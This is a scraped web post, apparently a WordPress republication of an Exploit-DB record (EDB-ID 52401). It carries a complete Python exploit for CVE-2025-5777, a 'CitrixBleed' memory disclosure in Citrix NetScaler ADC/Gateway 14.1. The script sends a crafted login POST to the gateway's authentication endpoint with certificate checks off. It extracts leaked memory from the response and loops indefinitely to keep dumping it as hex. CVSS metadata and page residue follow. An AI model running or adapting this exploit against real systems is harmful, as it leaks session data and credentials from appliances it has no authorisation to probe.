{“lastseen”:”2025-08-11T16:26:28″,”description”:”Exploit Title: Citrix NetScaler ADC\/Gateway 14.1 – Memory Disclosure Exploit Author: Yesith Alvarez Vendor Homepage: hhttps:\/\/support.citrix.com\/support-home\/kbsearch\/article?articleNumber=CTX693420…”,”published”:”2025-08-11T00:00:00″,”modified”:”2025-08-11T00:00:00″,”type”:”exploitdb”,”title”:”Citrix NetScaler ADC\/Gateway 14.1 – Memory Disclosure”,”source”:””,”references”:””,”id”:”EDB-ID:52401″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-5777″],”sourceData”:”# Exploit Title: Citrix NetScaler ADC\/Gateway 14.1 – Memory Disclosure\\r\\n# Exploit Author: Yesith Alvarez\\r\\n# Vendor Homepage: hhttps:\/\/support.citrix.com\/support-home\/kbsearch\/article?articleNumber=CTX693420\\r\\n# CVE: CVE-2025-5777\\r\\n# Link: https:\/\/github.com\/yealvarez\/CVE\/blob\/main\/CVE-2025-5777\/exploit.py\\r\\n\\r\\nimport re\\r\\nimport sys\\r\\nimport warnings\\r\\nimport requests\\r\\nfrom time import sleep\\r\\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\\r\\n\\r\\n\\r\\ndef title():\\r\\n print(r”’\\r\\n ______ _______ ____ ___ ____ ____ ____ _____ _____ _____ \\r\\n \/ ___\\\\ \\\\ \/ \/ ____| |___ \\\\ \/ _ \\\\___ \\\\| ___| | ___|___ |___ |___ |\\r\\n| | \\\\ \\\\ \/ \/| _| _____ __) | | | |__) |___ \\\\ ____|___ \\\\ \/ \/ \/ \/ \/ \/ \\r\\n| |___ \\\\ V \/ | |__|_____\/ __\/| |_| \/ __\/ ___) |_____|__) |\/ \/ \/ \/ \/ \/ \\r\\n \\\\____| \\\\_\/ |_____| |_____|\\\\___\/_____|____\/ |____\/\/_\/ \/_\/ \/_\/ \\r\\n \\r\\n[+] CitrixBleed – Memory Disclosure (Out-of-Bounds Read)\\r\\n[+] Author: Yesith Alvarez\\r\\n[+] Github: https:\/\/github.com\/yealvarez\\r\\n[+] Linkedin: https:\/\/www.linkedin.com\/in\/pentester-ethicalhacker\/\\r\\n[+] Code improvements: https:\/\/github.com\/yealvarez\/CVE\/blob\/main\/CVE-2025-5777\/exploit.py\\r\\n ”’)\\r\\n\\r\\n\\r\\ndef print_hex(data: bytes):\\r\\n for i in range(0, len(data), 16):\\r\\n chunk = data[i:i+16]\\r\\n hex_part = \\” \\”.join(f\\”{b:02X}\\” for b in chunk)\\r\\n ascii_part = \\”\\”.join(chr(b) if 32 \\u003c= b \\u003c= 126 else \\”.\\” for b in chunk)\\r\\n print(\\”{:08X}\\”.format(i) + \\” \\” + \\”{:\\u003c47}\\”.format(hex_part) + \\” \\” + ascii_part)\\r\\n\\r\\ndef extraction(blob: bytes) -\\u003e bytes | None:\\r\\n OpenInitialValue = \\”\\u003cInitialValue\\u003e\\”.encode(\\”utf-8\\”)\\r\\n closenitialValue = \\”\\u003c\/InitialValue\\u003e\\”.encode(\\”utf-8\\”)\\r\\n matched = \\”(.*?)\\”.encode(\\”utf-8\\”)\\r\\n extract = re.compile(re.escape(OpenInitialValue) + matched + re.escape(closenitialValue),flags=re.DOTALL | re.IGNORECASE)\\r\\n m = extract.search(blob)\\r\\n return None if m is None else m.group(1)\\r\\n\\r\\n\\r\\ndef exploit(target: str):\\r\\n url = \\”https:\/\/\\”+target+\\”\/p\/u\/doAuthentication.do\\”\\r\\n \\r\\n headers = {\\r\\n \\”Content-Type\\”: \\”application\/x-www-form-urlencoded\\”,\\r\\n \\”User-Agent\\”: \\”Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\\”\\r\\n }\\r\\n \\r\\n try:\\r\\n resp = requests.post(\\r\\n url,\\r\\n data=\\”login\\”.encode(\\”utf-8\\”),\\r\\n headers=headers,\\r\\n timeout=15,\\r\\n verify=False,\\r\\n )\\r\\n resp.raise_for_status()\\r\\n except Exception as e:\\r\\n print(\\”[\\”+target+\\”] Error No Vulnerable: \\” + str(e))\\r\\n return\\r\\n\\r\\n binary = extraction(resp.content)\\r\\n if binary is None:\\r\\n print(\\”[\\”+target+\\”] Connection Error \\”)\\r\\n return\\r\\n print(\\”\\\\n[+] Captured \\”+str(len(binary))+\\” bytes from the Target [\\”+target+\\”]:\\\\n\\”)\\r\\n print_hex(binary)\\r\\n\\r\\nif __name__ == ‘__main__’:\\r\\n warnings.simplefilter(\\”ignore\\”, InsecureRequestWarning)\\r\\n title()\\r\\n if len(sys.argv) \\u003c 2:\\r\\n print(‘[+] USAGE: python3’+sys.argv[0]+’ \\u003ctarget.host\\u003e\\\\n’)\\r\\n print(‘[+] Example: python3’+sys.argv[0]+’ 10.10.10.10\\\\n’)\\r\\n sys.exit(0)\\r\\n else:\\r\\n target = sys.argv[1]\\r\\n try:\\r\\n while True:\\r\\n exploit(target)\\r\\n \\r\\n except KeyboardInterrupt:\\r\\n print(\\”\\\\n[+] Stopped by user.\\”)”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52401″,”cvss”:{“score”:9.3,”severity”:”CRITICAL”,”vector”:”CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:L\/VI:H\/SI:L\/VA:H\/SA:L”,”version”:”4.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52401″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-08-11T16:26:28″,”description”:”Exploit Title: Citrix NetScaler ADC\/Gateway 14.1 – Memory Disclosure Exploit Author: Yesith Alvarez Vendor Homepage: hhttps:\/\/support.citrix.com\/support-home\/kbsearch\/article?articleNumber=CTX693420…”,”published”:”2025-08-11T00:00:00″,”modified”:”2025-08-11T00:00:00″,”type”:”exploitdb”,”title”:”Citrix NetScaler ADC\/Gateway 14.1 – Memory Disclosure”,”source”:””,”references”:””,”id”:”EDB-ID:52401″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-5777″],”sourceData”:”# Exploit Title: Citrix…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,55,12,40,13,7,11,5],"class_list":["post-10369","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-93","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n